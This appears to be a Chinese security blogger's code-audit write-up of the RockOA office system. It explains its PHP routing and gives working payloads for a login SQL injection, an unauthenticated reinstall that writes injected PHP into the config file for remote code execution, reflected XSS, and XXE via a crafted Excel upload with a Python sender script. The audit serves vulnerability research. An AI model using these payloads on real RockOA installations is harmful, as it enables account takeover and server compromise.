Y4教你审计系列之RockOA

Y4教你审计系列之RockOA

写在前面

不知道是啥版本无语子,反正老师给的简单审一下,顺便吐槽一句老师连续两天只教用工具到处乱扫累

放了个备份在https://github.com/Y4tacker/CTFBackup/blob/main/oa/rockoa/rockoa.zip

架构

不同于其他这个默认首页上rock.php,也是简单的自己去实现了MVC,我们先看看rock.php

可以看到,首先是定义了项目的PROJECT变量,接下来判断是否安装以及如果没有登陆则跳转到登陆页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
define('PROJECT', 'webrock');
include_once('config/config.php');
$islogin = (int)$rock->session(QOM.'adminid',0);
$m = 'index';
$p = PROJECT;
$d = '';
$a = 'default';

$ajaxbool = $rock->get('ajaxbool','false');
$mode = $rock->get('m', $m);
$dir = $rock->get('d', $d);

if(!$config['install'] && $mode != 'install')$rock->location('?m=install');//已可以正常登录,这句可删除
if($mode=='login' || $dir=='taskrun' || $mode=='taskrun' || $mode=='install')$islogin = 1;//不可删除

if($islogin == 0){
if($ajaxbool == 'true'){
echo 'sorry! not sign';
}else{
$rock->location('?m=login');
}
exit();
}
include_once('include/View.php');

接下来才是重点include_once('include/View.php');,这里看见有三个重要的参数,一个d决定项目路径也就是对应web根目录下的子目录名称,m对应模块名称其实就是下一级目录以及通过d决定了引入的类(目录与Action.php同名),以及a参数决定执行哪个方法,同样可以看到这里可以配合目录穿越引入其他的类,可惜不能控制前缀,不然低版本我们可以配合zip或者phar(php>5.3.0),payload像下面这样

1
2
zip:///var/www/html/info.zip%23info.php
phar:///var/www/html/info.zip/info.php

接下来其实还有一个重要的参数ajaxbool也是get请求传入,如果为true则回去访问对应类方法当中的Ajax方法,如果不是则访问对应类方法的Action方法,并渲染tpl模板

前台

由于是个OA,因此其实前台功能不多比如登陆、安装等基本上就无了不像我们的内容管理系统,这个更偏向于办公

登陆页SQL注入

这里简单测试万能密码就行了,其他的盲注之类的原理差不多,可以看见这里直接对参数进行拼接因此有sql注入的风险,这里的逻辑是先在数据库当中查出一条数据,再拿出密码去比对

简单测试万能密码,其他的注入脱裤啥的就不测了,没必要,主要是这里是盲注我懒得去写脚本

但是这里有一个问题,我们看进入了后台以后发现不是admin,再回到代码我们可以看到这里其实是id控制的,因此我们将union 第二个参数修改为admin对应的id即可,这里默认安装的时候设置的为1

因此简单修改payload

1
adminuser=0' union select 'e10adc3949ba59abbe56e057f20f883e',1,3,'admin',5%23&adminpass=123456&rempass=0&button=1&jmpass=false

前台RCE/文件读取

这个版本很逗,有个逻辑漏洞导致可以重装再RCE,首先我们知道对于Ajax的请求也就是要求ajaxbool参数为true,而如果为true则必须要进行登陆,可能是因为这些请求都属于后台功能

1
2
3
4
5
6
7
8
if($islogin == 0){
if($ajaxbool == 'true'){
echo 'sorry! not sign';
}else{
$rock->location('?m=login');
}
exit();
}

但是这里又很逗,咋说呢,来看看islogin是如何赋值的,因为这里是逻辑或所以只要满足任意条件就能登陆

1
if($mode=='login' || $dir=='taskrun' || $mode=='taskrun' || $mode=='install')$islogin = 1;//不可删除

因此我们完全可以控制m=install进入重装,最搞笑的是这里不像其他系统会首先判断是否已安装,这里就是可以随意重新安装无语子,而且最后他会把配置信息拼接写入一个php文件造成了前台的RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php 
class installClassAction extends Action{

public function initMysql()
{
$this->linkdb = false;
}

public function defaultAction()
{
$this->title = TITLE.'_安装';
}

public function saveAjax()
{
$host = $this->post('host');
$user = $this->post('user');
$pass = $this->post('pass');
$base = $this->post('base');
$perfix = $this->post('perfix');
$title = $this->post('title');
$qom = $this->post('qom');
$url = $this->post('url');
$highpass = $this->post('highpass');

$msg = '';

if($this->isempt($msg)){
@$conn=mysql_connect($host,$user,$pass);
$msg = mysql_error();
}
if(!$this->isempt($msg)){
$msg = '无法连接数据库密码/用户名有误';
}
if($this->isempt($msg)){
@mysql_select_db($base, $conn);
$msg = mysql_error();

//数据库不存在就创建
if(!$this->isempt($msg)){
@mysql_query("CREATE DATABASE `$base` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci");
$msg = mysql_error();
if($this->isempt($msg)){
@mysql_select_db($base, $conn);
$msg = mysql_error();
}
}
if(!$this->isempt($msg)){
$msg = ''.$base.'数据库名不存在/不能创建';
}
}

if($this->isempt($msg)){
mysql_query("SET NAMES 'utf8'");
$dburl = ROOT_PATH.'/rainrock.sql';
if(!file_exists($dburl))$msg = '数据库sql文件不存在';
}
if($this->isempt($msg)){
$sqlss = file_get_contents($dburl);
$a = explode(";", $sqlss);
for($i=0; $i<count($a)-1; $i++){
$sql = $a[$i];
$sql = str_replace('`rock_', '`'.$perfix.'', $sql); //前缀替换
$bo = mysql_query($sql, $conn);
if(!$bo){
$msg = '导入文件失败';
break;
}
}
}
if($this->isempt($msg)){
mysql_query("update `".$perfix."option` set `value`='$title' where `num`='systemtitle'");//系统标题
$txt = "<?php
return array(
'url' => '$url', //系统URL
'title' => '$title', //系统默认标题
'db_host' => '$host', //数据库地址
'db_user' => '$user', //用户名
'db_pass' => '$pass', //密码
'db_base' => '$base', //数据库名称
'perfix' => '$perfix', //表名前缀
'qom' => '$qom', //session、cookie前缀
'highpass' => '$highpass', //超级管理员密码,可用于登录任何帐号
'install' => true //已安装,不要去掉啊
);";
$this->rock->createtxt('webrock/webrockConfig.php', $txt);
}
if($this->isempt($msg))$msg = 'success';
echo $msg;
}
}

因此最终可以构造,前提要有个可以连接的服务器不然连接不上就无法执行后面的语句了

1
2
3
host=xxx:3306&user=admin&pass=admin123&base=ry&perfix=yy_&qom=',"123"=>phpinfo(),//

http://xxxx/rock.php?a=save&m=install&ajaxbool=true

接下来只需要访问http://xxxx/webrock/webrockConfig.php,其实首页也行毕竟是配置文件肯定全局引入了的

前台XSS

因为在路由出现找不到类的时候会直接echo绝对路径等信息,还可以用户控制部分字符那就很容易进行XSS了,这里不上代码了上面分析架构的时候说过

1
http://xxxxx/rock.php?a=zz&m=flowz<script>alert("Hacked By Y4tacker")</script>&d=&ajaxbool=true

当然还可以配合rougue mysql server做任意文件读取,这里就不展开了

后台

前台功能不多,那现在进入后台,个人也是有洁癖的只喜欢前台洞或者一条从前台到后台的完整利用

现在前台也已经有sql注入了,后台的注入也有很多,数不胜数但是没啥意义了,漏洞原理都是一样的无过滤+参数拼接造成命令逃逸,后台XSS点也很多也是一样没意义了,这里就列举一些不一样的点

后台XXE

这里就简单做个POC验证即可,可以看到在webrock/humanres/kaoqin/kaoqinAction.php

看看这个reader其实就是解析Excel的一个功能,这时候不难想到可能存在xxe

在canRead当中,可以看见首先对_rels/.rels做了simplexml_load_string处理,存在xxe,后面我们都不需要伪造完整的excel格式的文件了

这里简单测试一波能接收到url请求的连接就行,之后重命名为.rels即可

简单python发波包

1
2
3
4
5
6
7
import requests


url = "http://xxxx/rock.php?a=import&m=kaoqin&d=humanres&ajaxbool=true"

r= requests.post(url,files={"file":open("1.zip","rb").read()})
print(r.text)